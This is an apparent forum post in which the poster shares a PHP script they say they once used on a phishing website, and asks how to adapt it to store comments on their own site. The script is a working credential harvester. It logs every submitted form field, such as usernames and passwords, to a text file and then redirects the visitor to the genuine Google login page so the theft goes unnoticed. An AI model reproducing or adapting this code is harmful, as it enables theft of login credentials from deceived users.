OK so on my website so that you can have people write stuff on on it and leave a comment. Now I used the following code once to test out a phishing website (only out of interest to see if it works):

<?php
header ('Location: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&co ntinue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fhl %3Den%26tab%3Dwm%26ui%3Dhtml%26zy%3Dl&bsv=1k96igf4 806cy&scc=1&ltmpl=default&ltmplcache=2&hl=en');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>



And I want to use this as the action of a form that relates it to a file in my domain that displays what has been written on my web page. Can anyone tell me the parts I need to alter?